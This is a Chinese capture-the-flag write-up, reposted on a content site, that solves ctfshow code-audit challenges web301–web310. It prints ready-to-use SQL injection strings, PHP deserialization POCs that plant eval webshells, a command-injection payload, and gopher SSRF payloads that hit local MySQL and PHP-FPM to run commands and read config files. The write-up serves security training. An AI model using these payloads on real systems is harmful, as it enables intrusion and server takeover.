Ctfshow web入门 代码审计篇 web301-web310 详细题解 全

CTFshow 代码审计 web301

下载的附件的目录结构如下：

image-20230915000900413

开题后界面，看见输入框，感觉是sql。

image-20230915001926432

大概浏览一遍源码，我们可以发现在checklogin.php文件中有无过滤的SQL语句，SQL注入没得跑了。

image-20230915001901264

这题SQL注入有三种做法。

方法一：

普通盲注，时间和布尔都行，这里不赘述了。

方法二：

联合注入。

在联合查询并不存在的数据时，联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户，可以使用这个账户登录。

其实很好理解，平常我们联合注入的时候一般是这样的paylaod：?id=1 and 1=2 union select 1,database()#。两个回显位，返回给我们的是1 数据库名称。这个1是哪来的呢，就是...select 1...创建的虚拟数据1。

然后解释一下同文件中的17行的语句if(!strcasecmp($userpwd,$row['sds_password']))，满足条件就能登陆成功。PHP中strcasecmp()函数是比较字符串，如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

paylaod：

账号：-1' union select 1717#
密码：1717

账号进入SQL语句，拼接，未查询到内容，但是创建了虚拟数据1717。那么就是返回了1717。程序把1717当成了账号在数据库中查询到的密码，我们输入的密码也是1717，strcasecmp()函数判断相等，成功登录。

登录成功就给flag

image-20230915002856684

方法三：

写入shell。也是基础SQL注入，不赘述原理了。

payload：

账号：-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#
密码：1

访问/shell.php，直接getshell

image-20230915003344810

CTFshow 代码审计 web302

修改的地方：if(!strcasecmp(sds_decode( u s e r p w d ) , userpwd), userpwd),row[‘sds_password’]))

sds_decode函数：

function sds_decode($str){return md5(md5($str.md5(base64_encode("sds")))."sds");
}

估计数据库中的密码是经过加密的。比如说我们的密码是1717，存在数据库里面经过加密后就是md5(md5('1717'.md5(base64_encode("sds")))."sds")，就是1e715c20ac9c36a193b564d39ed5fd6b。

方法还是三个。盲注和写入shell不变。联合注入创建虚拟数据稍微改改就行了。

payload：

账号：-1' union select '1e715c20ac9c36a193b564d39ed5fd6b'#
密码：1717

image-20230915004315315

CTFshow 代码审计 web303

源码目录结构:

image-20230916211235143

下载源码后，看原来的checklogin.php文件，发现限制了我们的注入点$username长度为6及以内，那我们就不能用这个注入点进行注入了。

image-20230916211114538

继续看源码，发现文件dpt.php和dptadd.php中都有注释//注入点。

dpt.php

image-20230916213438043

dptadd.php

image-20230916213507503

但是想进入这两个文件，我们必须先登录，得有$_SESSION['login']，否则会重定向到login.php。继续看源码寻找如何获得账号密码登录。

我们在fun.php中找到提示语句echo sds_decode("admin");，猜测账号密码就是admin

image-20230916213646199

sql文件里有账密的信息，密码是被函数加密过写入的，输入框输入不影响。

image-20230916221939825

输入框输入：

账号：admin
密码：admin

登陆后界面：

dpt.php作用是显示数据。但是我们发现，sql语句中根本没有可控变量，甚至没有变量！所以这里是假的注入点。

image-20230916214201551

$_GET['id']=!empty($_GET['id'])?$_GET['id']:NULL;
$page=$_GET['id'];$sql="select * from sds_dpt order by id;";
$result=$mysqli->query($sql);

dptadd.php作用是添加数据（insert into），这里sql语句有可控变量，是真注入点。我们可以insert注入也可以报错注入，因为die(mysqli_error($mysqli));回显了sql报错语句。

image-20230916214224806

	//注入点$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;$dpt_name=$_POST['dpt_name'];$dpt_address=$_POST['dpt_address'];$dpt_build_year=$_POST['dpt_build_year'];$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";$dpt_cert_number=$_POST['dpt_cert_number'];$dpt_telephone_number=$_POST['dpt_telephone_number'];$mysqli->query("set names utf-8");$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";$result=$mysqli->query($sql);echo $sql;if($result===true){$mysqli->close();header("location:dpt.php");}else{die(mysqli_error($mysqli));}

一、insert注入

sql语句：

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";

原理就是，insert的某个变量用select查询语句代替，插入时先执行查询语句查出我们想要的数据，再把我们想要的数据（flag）写入数据库中我们可以直接查询的地方，利用系统自带的查询数据功能直接把我们想要的数据（插入进去的数据，也就是flag）回显给我们。

比如下面的语句就把数据库名称插入到user表里面。

$dpt_name="(select database())";
$sql="insert into user set name='".$dpt_name."';";

开始做题：

查表，简单一点就只传一个参数然后直接闭合就行就行

dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

查字段

dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#

查数据值

dpt_name=1',sds_address=(select flag from sds_fl9g)#

image-20230916220921839

二、报错注入

老生常谈的注入方式，这里不赘述了，直接放payload了。

dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=xxx' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),20,30),0x7e),1)#

image-20230916214833041

CTFshow 代码审计 web304

题目描述：

image-20230916221132293

但是扫了眼源码，并没有上waf。只是换了个表名，把sds_fl9g换成了sds_flaag而已。其他都同上题。

insert注入和报错注入都可以。

payload：

dpt_name=1',sds_address=(select flag from sds_flaag)#

image-20230916222500011

CTFshow 代码审计 web305

和上一题大不相同。首先是都上了waf，sql注入行不通了。登录的账号密码还是admin

image-20230917204625929

但是在class.php中发现了恶意类（文件写入），在checklogin.php中发现了反序列化操作。

image-20230917210121582

image-20230917210133843

思路就是反序列化，写shell到文件，然后就能控制服务端了。

反序列化POC：

<?php
class user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}
}
var_dump(urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>'))));
?>

payload： 注意路由

Cookie:
user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

image-20230917210755385

上传成功后getshell，却发现flag不在文件里面，猜测flag在数据库里面。

getshell到夺取数据库的话，用蚁剑链接数据库就好啦。

首先是让蚁剑连上shell。

数据库账号密码在conn.php里面，分别是root和phpcj。

image-20230917211344230

然后右键数据操作。

image-20230917211437199

点击添加。

image-20230917211447174

注意数据库类型是MYSQLI，密码也是root不知道为什么。后来发现蚁剑里面读到的源码和他给的不一样，蚁剑里面读到的conn.php里面的密码是root

image-20230917211711344

选中列后执行即可得到flag。

image-20230917211804075

CTFshow 代码审计 web306

题目描述：开始使用mvc结构

还是php反序列化写入文件，这次是构造简单POP链。

这次不用登录账号，直接Cookie里面加user就行。注意index.php反序列化时候会就行base64解码。

image-20230917212446374

链子：[index.php] unserialize->[dao.php] dao::__destruct()->[class.php] log::close()

反序列化POC：

<?php
class dao{private $conn;public function __construct(){$this->conn=new log();}
}
class log{public $title='a.php';public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));

payload： 注意路由

Cookie:
user=TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

image-20230917212944376

flag在当前目录flag.php里面

image-20230917213035951

CTFshow 代码审计 web307

题目描述：是不是顺眼多了

这次是真的MVC结构。

还是php反序列化构造简单POP链，写入文件。

不用登录账号，直接Cookie里面加user就行。注意logout.php反序列化时候会就行base64解码。

image-20230917214409946

先找恶意类，在/controller/service/dao/dao.php文件的dao类中，可以拼接执行命令写shell到文件。

image-20230917214043700

logout.php包含了service.php并且调用了clearCache()函数，service是通过dao类调用的clearCache，logout.php require了service.php，而service.php又require了dao.php，所以不需要用到service类也可以直接通过dao类调用clearCache()函数

链子：[/controller/logout.php] unserialize->[/controller/service/dao/dao.php] dao::clearCache()

反序列化POC：

<?php
class config{public $cache_dir = 'xxx;echo  "<?php eval(\$_POST[1]);?>" >a.php;';//$不转义的话，双引号会把$_POST[1]解析
}	class dao{private $config;public function __construct(){$this->config=new config();}
}
$a=new dao();
echo base64_encode(serialize($a));

payload: 注意路由

Cookie:
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDU6Inh4eDtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0=

image-20230917215149212

flag在/var/www/html/flag.php

image-20230917215533683

CTFshow 代码审计 web308

题目描述：需要拿shell

目录结构：

image-20230921142643599

首先看看之前的攻击方式能不能用了。

SQL注入：

无明显注入点，无SQL报错信息输出，insert语句都上了waf。SQL注入不可行。

image-20230921142328715

反序列化写入文件：

有无过滤的file_put_contents()函数却从未被调用。

image-20230921142826182

反序列化执行命令：

上了waf，只能输入大小写字母。

image-20230921142928780

由此看来，之前的攻击方式全都失效，我们要另寻他法。

我们在fun.php的checkUpdate()函数中发现了明显的SSRF特征代码，而且没有过滤。

function checkUpdate($url){$ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, false);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$res = curl_exec($ch);curl_close($ch);return $res;}

image-20230921143145647

我们把所有有关的代码都整合起来：

//【index.php】
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){$lastVersion=$service->checkVersion();
}//【dao.php】
class dao{private $config;public function checkVersion(){return checkUpdate($this->config->update_url);}
}//【config.php】
class config{private $mysql_username='root';//没有密码！！！！！private $mysql_password='';public $update_url = 'https://vip.ctf.show/version.txt';
}//【fun.php】
function checkUpdate($url){$ch=curl_init();	//...$res = curl_exec($ch);curl_close($ch);return $res;}

得出我们可以使用SSRF打无密码的mysql。SSRF的payload由/index.php反序列化传入。

这里遇到了一个问题，我们不知道admin登录的密码，这里密码已经不是admin的MD5加密了。

image-20230921144047046

很多师傅包括刚刚的我会觉得，那不是在/index.php中会重定向到/login.php吗，怎么触发反序列化呢？

其实header后的PHP代码还会被执行。虽然重定向了，不影响接下里的代码执行，该被SSRF打还是得被SSRF打。终止代码执行应该在后面加一个exit();或者die();

image-20230921143834290

我们先来写一下反序列化POC：

<?phpclass dao{private $config;public function __construct(){$this->config=new config();}
}class config{public $update_url = 【SSRF打无密码mysql的payload】;
}$a= new dao();
echo base64_encode(serialize($a));?>

然后我们来生成一下【SSRF打无密码mysql的payload】，顺便说一下，这种攻击方式对应端口3306。

Gopherus工具对应文件夹开cmd控制台。工具下载地址https://github.com/tarunkant/Gopherus

python2 gopherus.py --exploit mysql

一共有两个地方要输入。

image-20230731164151899

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01

如果是直接传参，payload需要再次URL编码后发送。因为发送到服务端会自动解析一次。

但是这里是通过反序列化打，解析payload时候已经在服务端了，不需再次编码，直接cv在POC里面就行。

利用POC生成的最后payload，然后在/index.php路由（不用登录，抓包直接改路由就行）Cookie传参：

service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjM6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDYlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjIlM2IlMDElMDAlMDAlMDAlMDEiO319

image-20230921145819409

访问/1.php路由，直接getshell。

image-20230921145918038

CTFshow 代码审计 web309

题目描述：需要拿shell，308的方法不行了,mysql 有密码了。

先看看源码。源码还是没有变，可能没更新吧。

image-20230921170555245

先利用之前的反序列化POC手动扫一下端口。

<?phpclass dao{private $config;public function __construct(){$this->config=new config();}
}class config{public $update_url = 'gopher://127.0.0.1:【端口】';
}$a= new dao();
echo base64_encode(serialize($a));?>

一些危险端口如下：

#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm(FastCGI) 默认端口

端口设置成9000时候一直未响应。那就是9000端口存在服务.

原理:

向服务端发送请求时，服务端会等待我们发送数据，处于wait状态。最多等几十秒。
gopher协议只会把数据发送过去，不承接任何应用。所以gopher协议访问开放端口时，会"卡住"，等待我们传输数据，所以就能探测端口是否开放。
脚本用gopher协议访问，超过两秒（服务端等待数据接收）就判断端口开放，没超时（服务端直接拒绝）就是端口没开放。

image-20230921170915692

和上题一样，SSRF之Gopher协议打FastCGI（端口9000）。

FastCGI攻击需要满足四个条件：

1、PHP版本要高于5.3.3，才能动态修改PHP.INI配置文件
2、知道题目环境中的一个PHP文件的绝对路径
3、PHP-FPM监听在本机9000端口
4、libcurl版本>=7.45.0

Gopherus工具生成攻击FastCGI的payload。

python2 gopherus.py --exploit fastcgi

之后有两个地方可以输入

第一个地方输入：
一个已知存在的php文件如/var/www/html/index.php  第二个地方输入：
希望目标服务器执行的恶意命令，比如反弹shell：
tac f*

image-20230921171914622

得到payload。

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

代入POC直接生成payload打。

image-20230921172030489

CTFshow 代码审计 web310

源码还是一样。

和之前一样先试试FastCGI，这次写马到文件，getshell方便点。

第一个地方输入：
/var/www/html/index.php  第二个地方输入：
echo  "<?php eval(\$_POST[1]);?>" >1.php

image-20230921190307100

带入POC打一下。

image-20230921190526825

发现能成功写马到文件：

image-20230921190545291

完了，这波小丑了。

image-20230921190652654

仔细查找后发现路径/var/flag/index.html

image-20230921192332089

读取得到flag。

image-20230921192357156

换个思路，尝试SSRF之伪协议读取文件。这里由于是nginx服务，nginx可以通过fastcgi对接php，所以nginx的配置文件中也会有一些重要信息。读取一下nginx服务的配置文件/etc/nginx/nginx.conf。

伪协议file:///etc/nginx/nginx.conf

POC：

<?phpclass dao{private $config;public function __construct(){$this->config=new config();}
}class config{public $update_url = 'file:///etc/nginx/nginx.conf';
}$a= new dao();
echo base64_encode(serialize($a));?>

image-20230921191433089

配置文件内容如下：

daemon off;worker_processes  auto;error_log  /var/log/nginx/error.log warn;events {worker_connections  1024;
}http {include       /etc/nginx/mime.types;default_type  application/octet-stream;sendfile        on;keepalive_timeout  65;server {listen       80;server_name  localhost;root         /var/www/html;index index.php;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;location / {try_files $uri  $uri/ /index.php?$args;}location ~ \.php$ {try_files $uri =404;fastcgi_pass   127.0.0.1:9000;fastcgi_index  index.php;include        fastcgi_params;fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;}}server {listen       4476;server_name  localhost;root         /var/flag;index index.html;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;}
}

每一个http块都可以包含多个server块，而每个server块就相当于一台虚拟主机，它内部可有多台主机联合提供服务，一起对外提供在逻辑上关系密切的一组服务。

注意到最后一部分，我们发现4476这个端口是定向到/var/flag，访问内网4476端口即可得到flag文件/var/flag内容。

server {listen       4476;server_name  localhost;root         /var/flag;index index.html;
}

最后的POC：

<?phpclass dao{private $config;public function __construct(){$this->config=new config();}
}class config{public $update_url = 'http://127.0.0.1:4476';
}$a= new dao();
echo base64_encode(serialize($a));?>

image-20230921192447359

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/84225.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Linux：GlusterFS 集群

Linux：GlusterFS 集群

GlusterFS介绍 1&#xff09;Glusterfs是一个开源的分布式文件系统,是Scale存储的核心,能够处理千数量级的客户端.在传统的解决 方案中Glusterfs能够灵活的结合物理的,虚拟的和云资源去体现高可用和企业级的性能存储. 2&#xff09;Glusterfs通过TCP/IP或InfiniBand RDMA网络链…
阅读更多...
Everything + Cpolar，打造在线搜索的终极神器

Everything + Cpolar，打造在线搜索的终极神器

文章目录 前言1. 下载安装注册cpolar2. Everything安装和设置2.1 进入Everything官网进行下载2.2 对Everything文件进行设定 3. 创建cpolar内网穿透隧道4. 公网访问测试Everything5. 固定连接公网地址 前言 你还在用Windows资源管理器自带的搜索工具来搜索文件吗&#xff1f;这…
阅读更多...
轮换对称性

轮换对称性

二重积分 普通对称性–D关于 y x yx yx对称&#xff1a; ∬ D f ( x , y ) d σ { 2 ∬ D 1 f ( x , y ) d σ f ( x , y ) f ( y , x ) 0 f ( x , y ) − f ( y , x ) \iint_{D}f(x,y)d\sigma\begin{cases} 2\iint_{D_1}f(x,y)d\sigma\ \ \ \ \ \ f(x,y)f(y,x) \\ 0 \ \…
阅读更多...
OpenStack创建云主机并连接CRT

OpenStack创建云主机并连接CRT

文章目录 OpenStackT版创建云主机并连接CRT命令行操作&#xff08;1&#xff09;创建镜像&#xff08;2&#xff09;创建实例&#xff08;3&#xff09;创建网络创建内网创建外网 &#xff08;4&#xff09;创建安全组&#xff08;5&#xff09;创建路由&#xff08;6&#xff…
阅读更多...
1952-2018年中国各省份人均GDP数据（消涨处理）

1952-2018年中国各省份人均GDP数据（消涨处理）

1952-2018年中国各省份人均GDP数据&#xff08;消涨处理&#xff09; 1、时间&#xff1a;1952-2018年 2、范围&#xff1a;30省市 3、指标&#xff1a;人均GDP 4、来源&#xff1a;《新中国60周年统计汇编》和各省年鉴 5、指标解释&#xff1a; 过程为环比人均GDP指数转…
阅读更多...
YSA Toon (Anime/Toon Shader)

YSA Toon (Anime/Toon Shader)

这是一个Toon着色器/Cel阴影着色器，用于Unity URP 此着色器的目的是使角色或物体阴影实时看起来尽可能接近真实的动画或卡通效果 可以用于游戏，渲染，插图等 着色器特性，如:面的法线平滑、轮廓修复、先进的边缘照明、镜面照明、完全平滑控制 这个文档包括所有的功能https:/…
阅读更多...
Eclipse ABAP ADT 集成详细安装教程

Eclipse ABAP ADT 集成详细安装教程

最近看到网上有个源码使用CDS做的&#xff0c;然后看了一下原来还可以用eclipse&#xff0c;趁热打铁&#xff0c;试了一把&#xff0c;最后成功了&#xff0c;中间可能会有一些报错&#xff0c;可以自己慢慢解决&#xff0c;大概就是这样的。 SAP的开发&#xff0c;有三种开发…
阅读更多...
Java————List

Java————List

一 、顺序表和链表 线性表&#xff08;linear list&#xff09;是n个具有相同特性的数据元素的有限序列。 线性表是一种在实际中广泛使用的数据结构&#xff0c; 常见的线性表&#xff1a;顺序表、链表、栈、队列… 线性表在逻辑上是线性结构&#xff0c;也就说是连续的一条直…
阅读更多...
微信小程序与idea后端如何进行数据交互

微信小程序与idea后端如何进行数据交互

交互使用的其实就是调用的req.get(url)方法 进行路径访问&#xff0c;你要先保证自己的springboot项目已经成功运行了&#xff1a; 如下&#xff1a; 如何交互的&#xff1f; 微信小程序&#xff1a;如下为index.js页面 在onLoad()事件中调用方法Project.findAllCities() 要…
阅读更多...
贝叶斯滤波计算4d毫米波聚类目标动静属性

贝叶斯滤波计算4d毫米波聚类目标动静属性

机器人学中有些问题是二值问题&#xff0c;对于这种二值问题的概率评估问题可以用二值贝叶斯滤波器binary Bayes filter来解决的。比如机器人前方有一个门&#xff0c;机器人想判断这个门是开是关。这个二值状态是固定的&#xff0c;并不会随着测量数据变量的改变而改变。就像门…
阅读更多...
rv1126-rv1109-test

rv1126-rv1109-test

测试指令 播放音频:aplay aigei.wav 测试时间: 查看系统时间:date 设置时间:date -s "2023-09-21 16:00:00" 设置芯片时间:hwclock -w 查看芯片时间:hwclock 测试背光: echo 0 > sys/class/backlight/backlight/brightness echo 50 > sys/class/backlig…
阅读更多...
期权如何交易？期权如何做模拟交易？

期权如何交易？期权如何做模拟交易？

买卖期权的第一步就是要有期权账户&#xff0c;国内的期权品种有商品期权和ETF期权以及股指期权&#xff0c;每种的开户方式和要求都不同&#xff0c;下文为大家介绍期权如何交易&#xff1f;期权如何做模拟交易&#xff1f; 一、期权交易需要开立一个期权账户&#xff0c;可以…
阅读更多...
【Spring Boot 源码学习】OnBeanCondition 详解

【Spring Boot 源码学习】OnBeanCondition 详解

Spring Boot 源码学习系列 OnBeanCondition 详解 引言往期内容主要内容1. getOutcomes 方法2. getMatchOutcome 方法2.1 ConditionalOnBean 注解处理2.2 ConditionalOnSingleCandidate 注解处理2.3 ConditionalOnMissingBean 注解处理 3. getMatchingBeans 方法 总结 引言 上篇…
阅读更多...
实战演练 | Navicat 常用功能之转储与运行 SQL 文件

实战演练 | Navicat 常用功能之转储与运行 SQL 文件

数据库管理工作中&#xff0c;"转储 SQL 文件"和"运行 SQL 文件"是两个极为常见操作。一般来说&#xff0c;用户使用数据库管理工具或命令行工具来完成。Navicat 管理开发工具中的“转储 SQL 文件”和“运行 SQL 文件”功能具有直观易用的界面、多种文件格…
阅读更多...
Linux内核源码分析 (B.x)Linux物理内存的初始化

Linux内核源码分析 (B.x)Linux物理内存的初始化

Linux内核源码分析 (B.x)Linux物理内存的初始化 文章目录 Linux内核源码分析 (B.x)Linux物理内存的初始化一、DDR简介二、内存节点三、内存管理区域ZONE四、 struct zone五、 struct page六、mem_map数组七、伙伴系统简介八、迁移类型九、内存初始化十、总结 一、DDR简介 详细可…
阅读更多...
threejs给3d模型中的物体换肤（修改材质）

threejs给3d模型中的物体换肤（修改材质）

变成这样 this.otherModel.traverse(function (child) {if (child instanceof THREE.Mesh && child.name Cylinder240) {// 导入纹理const textureLoader new THREE.TextureLoader();const floorColortextureLoader.load(require(../../../public/img/color.jpg));co…
阅读更多...
5个GitHub热门算法岗面试攻略，附资源下载

5个GitHub热门算法岗面试攻略，附资源下载

最近听行内的大佬们讨论&#xff0c;说今年的秋招情况依旧卷的激烈&#xff0c;不知道大家有没有都拿到满意的offer&#xff1f; 已经拿到的同学我先给赞个&#xff0c;还没有获得心仪offer的同学也不要着急&#xff0c;当下最该做的就是抓紧时间提升自己的硬实力&#xff0c;…
阅读更多...
openssl创建CA证书教程

openssl创建CA证书教程

配置生成CA证书 总示意图&#xff1a; (1)&#xff0c;通过openssl创建CA证书 第一步&#xff1a;创建一个秘钥&#xff0c;这个便是CA证书的根本&#xff0c;之后所有的东西都来自这个秘钥 # 通过rsa算法生成2048位长度的秘钥 openssl genrsa -out myCA.key 2048 第二步&#…
阅读更多...
小谈设计模式（5）—开放封闭原则

小谈设计模式（5）—开放封闭原则

小谈设计模式&#xff08;5&#xff09;—开放封闭原则 专栏介绍专栏地址专栏介绍 开放封闭原则核心思想关键词概括扩展封闭 解释抽象和接口多态 代码示例代码解释 优缺点优点可扩展性可维护性可复用性高内聚低耦合 缺点抽象设计的复杂性需要预留扩展点可能引入过度设计 总结 专…
阅读更多...
uniapp 使用subNVue原生子窗体显示弹框或悬浮框

uniapp 使用subNVue原生子窗体显示弹框或悬浮框

效果展示 在uniapp中&#xff0c;我们可以使用subNVue原生子窗体来解决web-view等原生页面中弹框无法显示的问题。 subNVue原生子窗体是uniapp提供的一种原生组件&#xff0c;可以在uniapp中嵌入原生页面&#xff0c;并且可以与uniapp页面进行通信。我们可以在原生页面中使用…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023